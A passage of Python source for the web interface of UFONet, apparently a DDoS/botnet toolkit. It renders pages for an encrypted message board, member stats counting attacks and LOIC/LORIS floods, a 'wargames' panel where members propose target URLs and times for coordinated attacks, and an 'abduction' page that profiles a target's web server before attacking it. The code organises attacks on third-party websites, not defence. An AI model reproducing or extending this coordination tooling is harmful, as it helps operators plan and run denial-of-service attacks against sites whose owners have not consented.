  514. </td></tr></table></td></tr></table>
  515. <hr><br>
  516. </center>
  517. Last update: <font color='"""+ self.missions_status_color + """'>"""+ self.missions_datetime + """</font><br><br>
  518. <div id="cmdOut"></div>
  519. <div id="nb1" style="display: block;">"""+self.missions_text+"""</div>
  520. """ + self.pages["/footer"]
  521. def html_board(self):
  522. self.board_welcome = "<div id='board_warning' style='display: none;'><pre><u>WARNING:</u> <br><br> 1) This is our 'Space Cantina': DON'T BE A LAMER!!! <br> 2) NO language RESTRICTIONS <br> 3) ABUSING == #HACKBACK (THIS IS NOT KIND OF FAME YOU WANT)<br> 4) CONTENT can be MODIFIED/REMOVED without notice<br> 5) LOVE, DONATIONS and REPORTS -> <a href='http://127.0.0.1:9999/help' target='_blank'>HERE</a></pre></div>" # board hardcode warning (hehe)
  523. self.board_topic = "<select id='board_selector'><option value='general'>GENERAL</option><option value='opsec'> - OPSEC: #UFOSTORM</option><option value='faq'>UFONET/FAQ</option><option value='bugs'>UFONET/BUGS</option><option value='media'>UFONET/MEDIA</option></select>"
  524. self.board_send_msg = "<button title='Send your message to the Board (REMEMBER: you will cannot remove it!)...' onclick='SendMessage()'>SEND IT!</button>"
  525. if '"profile_token": "NONE"' in open(self.mothership_boardcfg_file).read():
  526. device_state = "OFF"
  527. device = "Board device: <font color='red'>OFF</font><br>"
  528. else:
  529. device_state = "ON"
  530. self.moderator_text = ''.join(random.sample(self.moderator_text,len(self.moderator_text)))
  531. boardcfg_json_file = open(self.mothership_boardcfg_file, "r") # extract mothership boardcfg
  532. data = json.load(boardcfg_json_file)
  533. boardcfg_json_file.close()
  534. profile_token = data["profile_token"]
  535. profile_icon = data["profile_icon"]
  536. profile_nick = data["profile_nick"]
  537. self.profile_nick.encode('utf-8')
  538. device = "<u>OPERATOR/LINK:</u> <font color='green'>ON</font><br><table cellpadding='5'><tr><td><img src='images/crew/"+str(profile_icon)+".png'></td></tr><tr><td> -NICKNAME: "+self.profile_nick.encode('utf-8')+"</td></tr><tr><td> -ID: "+str(profile_token)+"</td></tr></table>"
  539. if device_state == "OFF":
  540. board_filter = ""
  541. else:
  542. board_filter = "<table cellpadding='5' border='1'><tr><td><input type='radio' name='filter' id='filter_all' value='ALL' CHECKED>/ALL<br> </td><td><input type='radio' name='filter' id='filter_general' value='GENERAL'>/GENERAL</td><td><input type='radio' name='filter' id='filter_opsec' value='OPSEC'>/#OPSEC<br> </td><td><input type='radio' name='filter' id='filter_faq' value='FAQ'>/FAQ</td><td><input type='radio' name='filter' id='filter_bugs' value='BUGS'>/BUGS</td><td><input type='radio' name='filter' id='filter_media' value='MEDIA'>/MEDIA</td></tr></table>"
  543. if device_state == "OFF":
  544. sync_panel = ""
  545. else:
  546. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source' id='board_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncBoard()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><br><hr>"
  547. if device_state == "OFF":
  548. board_panel = ""
  549. else:
  550. with open(self.board_file) as f:
  551. for line in f:
  552. line = line.strip()
  553. self.board_warning += "\n" + " " + line + " " + "\n"
  554. f.close()
  555. self.moderator_text = re.sub("(.{100})", "\\1\n", self.moderator_text, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  556. l = time.ctime(os.path.getmtime(self.board_file)) # get last modified time
  557. board_panel = "<form method='GET'><table cellpadding='5'><tr><td><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td> <input type='radio' name='board_action' id='read' onclick='javascript:OptionsCheck();' CHECKED> READ<br> </td><td> <input type='radio' name='board_action' id='write' onclick='javascript:OptionsCheck();'> WRITE<br></td></tr></table></td><td> KEY: <input type='text' name='board_key' id='board_key' size='20' value='"+str(self.crypto_key)+"'> </td></tr></table></td><td><div style='display:block' id='board_read'><table cellpadding='5'><tr><td>"+board_filter+"</td></tr><tr><td><a onclick='javascript:Decrypt_board();' href='javascript:show('nb1');'>Try decryption!</a></td></tr></table></div></td></tr><tr><td>"+self.board_welcome+"</td><td><div style='display:none' id='board_send'><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source_send' id='board_source_send' size='20' value='"+default_blackhole+"'></td></tr><tr><td>TOPIC:</td><td>"+self.board_topic+"</td></tr><tr><td>MESSAGE:</td><td><textarea rows='3' cols='50' name='stream_txt' id='stream_txt' maxlength='140' placeholder='Enter your message (1-140 chars)...'></textarea></td></tr><tr><td>"+self.board_send_msg+"</td></tr></table></td></tr></table></div></td></tr></table></form><br><hr><br><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"+sync_panel+"<br></div><u>CRYPTO-BOARD</u>: (Last Update: <font color='green'>"+str(l)+"</font>)<br><br></center><div id='cmdOut'></div><div id='nb1' style='display: block;'>"+self.moderator_text+"</div><br><center>"
  558. if device_state == "OFF":
  559. remove_profile = ""
  560. else:
  561. remove_profile = '| <button title="Syncronize data from a blackhole/board with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveProfile()">TURN OFF!</button>'
  562. return self.pages["/header"] + """<script language="javascript">
  563. function BoardProfile() {
  564. var win_board_profile = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  565. }
  566. function RemoveProfile() {
  567. var win_board_profile = window.open("board_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  568. }
  569. function Decrypt_board(){
  570. board_key=document.getElementById("board_key").value
  571. if (document.getElementById('filter_all').checked) {
  572. filter = document.getElementById('filter_all').value;
  573. }
  574. if (document.getElementById('filter_general').checked) {
  575. filter = document.getElementById('filter_general').value;
  576. }
  577. if (document.getElementById('filter_opsec').checked) {
  578. filter = document.getElementById('filter_opsec').value;
  579. }
  580. if (document.getElementById('filter_faq').checked) {
  581. filter = document.getElementById('filter_faq').value;
  582. }
  583. if (document.getElementById('filter_bugs').checked) {
  584. filter = document.getElementById('filter_bugs').value;
  585. }
  586. if (document.getElementById('filter_media').checked) {
  587. filter = document.getElementById('filter_media').value;
  588. }
  589. if(board_key == "") {
  590. window.alert("You need to enter a valid key (provided by someone)");
  591. return
  592. }else{
  593. params="board_key="+escape(board_key)+"&filter="+escape(filter)
  594. runCommandX("cmd_decrypt_moderator_board",params)
  595. document.getElementById("nb1").style.display = "none";
  596. }
  597. }
  598. function OptionsCheck() {
  599. if (document.getElementById('read').checked) {
  600. document.getElementById('board_read').style.display = 'block';
  601. document.getElementById('board_send').style.display = 'none';
  602. document.getElementById('board_warning').style.display = 'none';
  603. }
  604. else if(document.getElementById('write').checked) {
  605. document.getElementById('board_send').style.display = 'block';
  606. document.getElementById('board_warning').style.display = 'block';
  607. document.getElementById('board_read').style.display = 'none';
  608. }
  609. }
  610. function Sync_panel(){
  611. document.getElementById("sync_panel_block").style.display = "block";
  612. }
  613. function SyncBoard(){
  614. document.getElementById('nb1').style.display = 'none';
  615. board_source=document.getElementById("board_source").value
  616. if(board_source == "") {
  617. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  618. return
  619. }else{
  620. params="board_source="+escape(board_source)
  621. runCommandX("cmd_sync_board",params)
  622. }
  623. }
  624. </script>
  625. <script language="javascript">
  626. function SendMessage() {
  627. board_source=document.getElementById("board_source_send").value
  628. board_key=document.getElementById("board_key").value
  629. stream_txt=document.getElementById("stream_txt").value
  630. board_selector=document.getElementById("board_selector");
  631. board_topic = board_selector.options[board_selector.selectedIndex].value;
  632. if(board_key == "") {
  633. board_key='"""+str(self.crypto_key)+"""';
  634. }else{
  635. if(stream_txt == "") {
  636. window.alert("You need to enter a message! (~ 1-140 characters)");
  637. return
  638. }else{
  639. if(board_source == "") {
  640. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  641. return
  642. }else{
  643. params="board_source="+escape(board_source)+"&board_key="+escape(board_key)+"&board_topic="+escape(board_topic)+"&stream_txt="+escape(stream_txt)
  644. runCommandX("cmd_send_message_board",params)
  645. }
  646. }
  647. }
  648. }
  649. </script>
  650. <script>loadXMLDoc()</script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  651. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  652. <br>
  653. <center>
  654. <table cellpadding="5" cellspacing="5"><tr>
  655. <td><a href="javascript:alert('Riättth says: """ + self.ranking + """... Welcome to the Board. You can generate new identities every time that you want. But remember that, this can be a dangerous place. Just respect to others to be respected... Keep safe and enjoy it. COPYCAT!.');"><img src="/images/board.png"></a></td><td>
  656. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="BoardProfile()">CONFIGURE!</button> """+remove_profile+"""
  657. </td></tr></table></tr></table>
  658. <hr><br>"""+board_panel+"""
  659. """ + self.pages["/footer"]
  660. def generate_grid(self):
  661. with open(self.grid_file) as f:
  662. for line in f:
  663. line = line.strip()
  664. f.close()
  665. mothership_members = 0 # mothership_members stats bonus
  666. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NICKNAME:</u></td><td align='center'><u>RANKING:</u></td><td align='center'><u>CHARGO:</u></td><td align='center'><u>DORKING:</u></td><td align='center'><u>TRANSF:</u></td><td align='center'><u>MAX.CHARGO:</u></td><td align='center'><u>MISSIONS:</u></td><td align='center'><u>ATTACKS:</u></td><td align='center'><u>LOIC:</u></td><td align='center'><u>LORIS:</u></td><td align='center'><u>CONTACT:</u></td></tr>"
  667. for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, contact, ID
  668. if grid_msg_sep in m:
  669. version = m.count(grid_msg_sep) # check UFONet version by counting separators on stream (10->0.9|11->1.0)
  670. m = m.split(grid_msg_sep)
  671. grid_nickname = m[0][0:12]
  672. grid_nickname = ''.join(random.sample(grid_nickname,len(grid_nickname))) # nickname (obfuscation+str12)
  673. mothership_members = mothership_members + 1
  674. grid_ranking = m[1][0:4] # ranking (is parsed later using a symbol)
  675. grid_ranking = ''.join(random.sample(grid_ranking,len(grid_ranking))) # ranking (obfuscation)
  676. grid_totalchargo = m[2][0:4] # total chargo
  677. grid_totalchargo = ''.join(random.sample(grid_totalchargo,len(grid_totalchargo))) # totalchargo (obfuscation)
  678. grid_dorking = m[3][0:4] # dorking
  679. grid_dorking = ''.join(random.sample(grid_dorking,len(grid_dorking))) # dorking (obfuscation)
  680. grid_transferred = m[4][0:4] # transferred
  681. grid_transferred = ''.join(random.sample(grid_transferred,len(grid_transferred))) # transferred (obfuscation)
  682. grid_maxchargo = m[5][0:4] # maxchargo
  683. grid_maxchargo = ''.join(random.sample(grid_maxchargo,len(grid_maxchargo))) # maxchargo (obfuscation)
  684. grid_missions = m[6][0:4] # missions
  685. grid_missions = ''.join(random.sample(grid_missions,len(grid_missions))) # missions (obfuscation)
  686. grid_attacks = m[7][0:4] # attacks
  687. grid_attacks = ''.join(random.sample(grid_attacks,len(grid_attacks))) # attacks (obfuscation)
  688. grid_loic = m[8][0:4] # loic
  689. grid_loic = ''.join(random.sample(grid_loic,len(grid_loic))) # loic (obfuscation)
  690. if version == 11: # v1.0
  691. grid_loris = m[9][0:4] # loris
  692. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  693. grid_contact = "<a href=javascript:alert('"+str(m[10][0:12])+"');>View</a>" # js contact view (obfuscation)
  694. try:
  695. grid_id = m[11] # id (plain id)
  696. except:
  697. grid_id = "invalid!"
  698. elif version == 10: # v0.9
  699. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not loris present yet on that version
  700. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  701. grid_contact = "<a href=javascript:alert('"+str(m[9][0:12])+"');>View</a>" # js contact view (obfuscation)
  702. try:
  703. grid_id = m[10] # id (plain id)
  704. except:
  705. grid_id = "invalid!"
  706. else: # no valid version
  707. pass
  708. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  709. else: # not valid stream data
  710. pass
  711. grid_table += "</table>"
  712. if mothership_members == 0:
  713. mothership_members = "¿?"
  714. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  715. mother_grid = "<div id='grid_panel_enc' style='display:block'><br><center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>MEMBERS:</td><td align='right'>"+str(mothership_members)+"</td><td><font color='cyan' size='4'>****</font></td><td><font color='cyan'>¿?</font></td><td><font color='blue' size='4'>***</font></td><td><font color='blue'>¿?</font></td><td><font color='orange' size='4'>**</font></td><td><font color='orange'>¿?</font></td><td><font color='red' size='4'>*</font></td><td><font color='red'>¿?</font></td></tr><tr><td>MISSIONS:</td><td>¿?</td><td>ATTACKS:</td><td>¿?</td><td>LOIC:</td><td>¿?</td><td>LORIS:</td><td>¿?</td></tr><tr><td>CHARGO (ACTIVE!):</td><td>¿?</td><td>DORKING:</td><td>¿?</td><td>MAX.CHARGO:</td><td>¿?</td></tr></table><br><hr><br>"
  716. grid_table = mother_grid + grid_table + "</div>"
  717. return grid_table
  718. def html_grid(self):
  719. if '"grid_token": "NONE"' in open(self.mothership_gridcfg_file).read():
  720. device_state = "OFF"
  721. device = "Grid device: <font color='red'>OFF</font><br>"
  722. else:
  723. device_state = "ON"
  724. gridcfg_json_file = open(self.mothership_gridcfg_file, "r") # extract mothership gridcfg
  725. data = json.load(gridcfg_json_file)
  726. gridcfg_json_file.close()
  727. grid_token = data["grid_token"]
  728. grid_contact = data["grid_contact"]
  729. grid_contact.encode('utf-8')
  730. grid_nick = data["grid_nick"]
  731. grid_nick.encode('utf-8')
  732. if self.ranking == "Rookie": #Rookie
  733. your_ranking = "<font color='red' size='4'>*</font> (Rookie)"
  734. elif self.ranking == "Mercenary": # Mercenary
  735. your_ranking = "<font color='orange' size='4'>**</font> (Mercenary)"
  736. elif self.ranking == "Bandit": # Bandit
  737. your_ranking = "<font color='blue' size='4'>***</font> (Bandit)"
  738. elif self.ranking == "UFOmmander!": # UFOmmander!
  739. your_ranking = "<font color='cyan' size='4'>****</font> (UFOmmander!)"
  740. else:
  741. your_ranking = "<font color='yellow' size='4'>*</font> (no0b!)" # no0b hacking attempt! ;-)
  742. device = "<table cellpadding='5'><tr><td> -CONTACT: "+grid_contact.encode('utf-8')+"</td></tr><tr><td> -NICKNAME: "+grid_nick.encode('utf-8')+"</td></tr><tr><td> -RANKING: "+str(your_ranking)+"</td></tr><tr><td> -ID: "+str(grid_token)+"</td></tr></table>"
  743. if device_state == "OFF":
  744. grid_panel = ""
  745. else:
  746. grid_table = self.generate_grid()
  747. grid_panel = grid_table + "<br><div id='cmdOut'></div><br></center><center>"
  748. if device_state == "OFF":
  749. dec_panel = ""
  750. else:
  751. dec_panel = "<table cellpading='5' cellspacing='10'><tr><td><form method='GET'>Your key: <input type='text' name='grid_key' id='grid_key' size='20' value='"+ str(self.crypto_key) +"'></td><td><a onclick='javascript:Decrypt_grid();' href='javascript:show('nb1');'>Try decryption!</a></form></td></tr></table>"
  752. if device_state == "OFF":
  753. sync_panel = ""
  754. else:
  755. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source' id='grid_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><hr>"
  756. if device_state == "OFF":
  757. transfer_panel = ""
  758. else:
  759. transfer_panel = "<form method='GET'><table cellpadding='5' cellspacing='5'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source_upload' id='grid_source_upload' size='20' value='"+default_blackhole+"'></td></tr><tr><td>Key (encryption):</td><td><input type='text' name='grid_key_upload' id='grid_key_upload' size='20' value='"+ str(self.crypto_key) +"'></td></tr></table></td><td><button title='Upload stats of your mothership to the Grid of that blackhole...' onclick='TransferGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Transfer data...</button></td></tr></table></form><hr>"
  760. if device_state == "OFF":
  761. remove_grid = ""
  762. else:
  763. remove_grid = '| <button title="Review your mothership stats..." onclick="Stats()">STATS!</button> | <button title="Syncronize data from a blackhole/grid with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Decrypt data with a specific key..." onclick="Decryption_panel()">DECRYPT!</button> | <button title="Send your data to a global blackhole/grid..." onclick="Transfer_panel()">UPLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveGrid()">TURN OFF!</button>'
  764. return self.pages["/header"] + """<script language="javascript">
  765. function GridProfile() {
  766. var win_grid_profile = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  767. }
  768. function RemoveGrid() {
  769. var win_grid_profile = window.open("grid_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  770. }
  771. function Stats() {
  772. var win_grid_profile = window.open("stats","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  773. }
  774. function Sync_panel(){
  775. document.getElementById("sync_panel_block").style.display = "block";
  776. document.getElementById("dec_panel").style.display = "none";
  777. document.getElementById("transfer_panel").style.display = "none";
  778. }
  779. function SyncGrid(){
  780. grid_source=document.getElementById("grid_source").value
  781. if(grid_source == "") {
  782. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  783. return
  784. }else{
  785. params="grid_source="+escape(grid_source)
  786. runCommandX("cmd_sync_grid",params)
  787. }
  788. }
  789. function Transfer_panel(){
  790. document.getElementById("transfer_panel").style.display = "block";
  791. document.getElementById("sync_panel_block").style.display = "none";
  792. document.getElementById("dec_panel").style.display = "none";
  793. }
  794. function TransferGrid() {
  795. grid_source=document.getElementById("grid_source_upload").value
  796. grid_key=document.getElementById("grid_key_upload").value
  797. if(grid_source == "") {
  798. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  799. return
  800. }else{
  801. if(grid_key == "") {
  802. window.alert("You need to enter a valid key (provided by someone)");
  803. return
  804. }else{
  805. params="grid_source="+escape(grid_source)+"&grid_key="+escape(grid_key)
  806. runCommandX("cmd_transfer_grid",params)
  807. }
  808. }
  809. }
  810. function Decryption_panel(){
  811. document.getElementById("dec_panel").style.display = "block";
  812. document.getElementById("transfer_panel").style.display = "none";
  813. document.getElementById("sync_panel_block").style.display = "none";
  814. }
  815. function Decrypt_grid(){
  816. grid_key=document.getElementById("grid_key").value
  817. if(grid_key == "") {
  818. window.alert("You need to enter a valid key (provided by someone)");
  819. return
  820. }else{
  821. params="grid_key="+escape(grid_key)
  822. runCommandX("cmd_decrypt_grid",params)
  823. document.getElementById("grid_panel_enc").remove();
  824. }
  825. }
  826. </script>
  827. <script>loadXMLDoc()</script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  828. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  829. <br>
  830. <center>
  831. <table cellpadding="5" cellspacing="5"><tr>
  832. <td><a href="javascript:alert('7337-VH13 says: """ + self.ranking + """... Welcome to the Grid. A good place to represent our Federation.');"><img src="/images/aliens/alien6.png"></a></td><td>
  833. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="GridProfile()">CONFIGURE!</button> """+remove_grid+"""</td></tr></table></tr></table>
  834. <hr><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"""+sync_panel+"""</div><div id='transfer_panel' name='transfer_panel' style='display:none;'>"""+transfer_panel+"""</div><div id="dec_panel" style="display:none;">"""+dec_panel+"""<hr></div>"""+grid_panel+"""
  835. """ + self.pages["/footer"]
  836. def generate_wargames(self):
  837. with open(self.wargames_file) as f:
  838. for line in f:
  839. line = line.strip()
  840. f.close()
  841. wargames_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TARGET:</u></td><td align='center'><u>ESTIMATED:</u></td></tr>"
  842. for m in self.list_wargames: # list = creation, target, estimated
  843. if wargames_msg_sep in m:
  844. m = m.split(wargames_msg_sep)
  845. wargame_creation = m[0][0:12] # creation date
  846. wargame_creation = ''.join(random.sample(wargame_creation,len(wargame_creation))) # creation date (obfuscation)
  847. wargame_target = m[1][0:12] # target (obfuscation)
  848. wargame_target = ''.join(random.sample(wargame_target,len(wargame_target))) # target (obfuscation)
  849. wargame_estimated = m[2][0:12] # estimated date
  850. wargame_estimated = ''.join(random.sample(wargame_estimated,len(wargame_estimated))) # estimated date (obfuscation)
  851. wargames_table += "<tr><td align='center'>"+str(wargame_creation)+"</td><td align='center'>"+str(wargame_target)+"</td><td align='center'>"+str(wargame_estimated)+"</td></tr>"
  852. wargames_table += "</table>"
  853. mother_wargame = "<div id='wargames_panel_enc' style='display:block'>"
  854. wargames_table = mother_wargame + wargames_table + "</div>"
  855. return wargames_table
  856. def html_wargames(self):
  857. l = time.ctime(os.path.getmtime(self.wargames_file)) # get last modified time
  858. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  859. wargames_table = self.generate_wargames()
  860. return self.pages["/header"] + """<script language="javascript">
  861. function Decrypt_wargames(){
  862. wargames_deckey=document.getElementById("wargames_deckey").value
  863. if(wargames_deckey == "") {
  864. window.alert("You need to enter a valid key (provided by someone)");
  865. return
  866. }else{
  867. params="wargames_deckey="+escape(wargames_deckey)
  868. runCommandX("cmd_decrypt_wargames",params)
  869. document.getElementById("wargames_panel_enc").remove();
  870. }
  871. }
  872. function SyncWargames(){
  873. wargames_source=document.getElementById("wargames_source").value
  874. if(wargames_source == "") {
  875. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  876. return
  877. }else{
  878. params="wargames_source="+escape(wargames_source)
  879. runCommandX("cmd_sync_wargames",params)
  880. }
  881. }
  882. function Send() {
  883. wargames_source2=document.getElementById("wargames_source2").value
  884. wargames_enckey=document.getElementById("wargames_enckey").value
  885. wargames_target=document.getElementById("wargames_target").value
  886. wargames_estimated=document.getElementById("wargames_estimated").value
  887. if(wargames_source2 == "") {
  888. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  889. return
  890. }else{
  891. if(wargames_enckey == "") {
  892. window.alert("You need to enter a valid key (provided by someone)");
  893. return
  894. }else{
  895. params="wargames_source2="+escape(wargames_source2)+"&wargames_enckey="+escape(wargames_enckey)+"&wargames_target="+escape(wargames_target)+"&wargames_estimated="+escape(wargames_estimated)
  896. runCommandX("cmd_transfer_wargame",params)
  897. }
  898. }
  899. }
  900. </script>
  901. <script>loadXMLDoc()</script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  902. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  903. <br>
  904. <center>
  905. <table cellpadding="5" cellspacing="5"><tr>
  906. <td><a href="javascript:alert('Vnïjwvödvnh says: """ + self.ranking + """... Are you searching for some real action?. Well, this is your place...');"><img src="/images/aliens/alien8.png"></a></td>
  907. <td>
  908. <pre>This feature will allow you to propose and participate at some real 'wargames'.
  909. <hr>
  910. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source' id='wargames_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'wargames' proposed by other motherships..." onclick="SyncWargames()">DOWNLOAD!</button></td><td><form method='GET'>KEY: <input type="text" name="wargames_deckey" id="wargames_deckey" size="20" value='"""+self.crypto_key+"""'></td><td><a onclick='javascript:Decrypt_wargames();' href='#'>Try decryption!</a></td></tr></table></center></form>
  911. <hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>Your proposal:</td><td><input type="text" name="wargames_target" id="wargames_target" size="30" placeholder="http(s)://" required pattern="https?://.+"></td></tr><tr><td>Estimated time (UTC):</td><td><input type="text" name="wargames_estimated" id="wargames_estimated" size="20" placeholder="dd-mm-yyyy hh:mm:ss" required pattern=".+-.+-.+ .+:.+:.+"> (ex: """+str(now)+""")</td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source2' id='wargames_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td>Your key:</td><td><input type="text" name="wargames_enckey" id="wargames_enckey" size="20" value='"""+self.crypto_key+"""'></td></tr></table></form>
  912. <button title="Send your proposal to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table>
  913. <hr><br>
  914. <u>WARGAMES</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+wargames_table+"""<div id='cmdOut'></div></center>"""+ self.pages["/footer"]
  915. def html_abduction(self):
  916. return self.pages["/header"] + """<script language="javascript">
  917. function Requests() {
  918. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  919. }
  920. function Start(){
  921. target=document.getElementById("target").value
  922. String.prototype.startsWith = function(prefix){
  923. return this.indexOf(prefix) === 0;
  924. }
  925. if(target.startsWith("http")){
  926. params="target="+escape(target)
  927. }else{
  928. window.alert("You need to enter a valid url: http(s)://target.com");
  929. return
  930. }
  931. runCommandX("cmd_abduction",params)
  932. }
  933. </script><script>loadXMLDoc()</script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  934. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  935. <br>
  936. <center>
  937. <table cellpadding="5" cellspacing="5"><tr>
  938. <td><a href="javascript:alert('Ofgöfeejh says: """ + self.ranking + """... Let's research about our enemies first, right?...');"><img src="/images/aliens/alien7.png"></a></td>
  939. <td>
  940. <pre>
  941. This feature will provide you information about target's web server.
  942. You can use this before to attack to be more effective.
  943. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  944. <hr>
  945. * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  946. <hr>
  947. <button title="Start to research about your target's webserver configuration..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">RESEARCH!</button>
  948. </pre>
  949. </td></tr></table>
  950. <hr><br>
  951. </center>
  952. <div id="cmdOut"></div>""" + self.pages["/footer"]
  953. def html_blackholes(self):
  954. return self.pages["/header"] + """<script language="javascript">
  955. function Decrypt(){
  956. blackhole_key=document.getElementById("blackhole_key").value
  957. if(blackhole_key == "") {
  958. window.alert("You need to enter a valid key (provided by someone)");
  959. return
  960. }else{
  961. params="blackhole_key="+escape(blackhole_key)
  962. runCommandX("cmd_decrypt",params)
  963. document.getElementById("nb1").style.display = "none";
  964. }
  965. }
  966. </script>
  967. <script language="javascript">
  968. function RefreshBlackhole(){
  969. blackholes_source=document.getElementById("blackholes_source").value
  970. if(blackholes_source == "") {
  971. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  972. return
  973. }else{
  974. params="blackholes_source="+escape(blackholes_source)
  975. runCommandX("cmd_refresh_blackholes",params)
  976. document.getElementById("nb1").style.display = "none";
  977. }
  978. }
  979. </script>
  980. <script>loadXMLDoc()</script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  981. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  982. <br>
  983. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  984. <td>Blackhole/IP:</td>
  985. <td><input type="text" name="blackholes_source" id="blackholes_source" size="20" value='"""+default_blackhole+"""'></td>
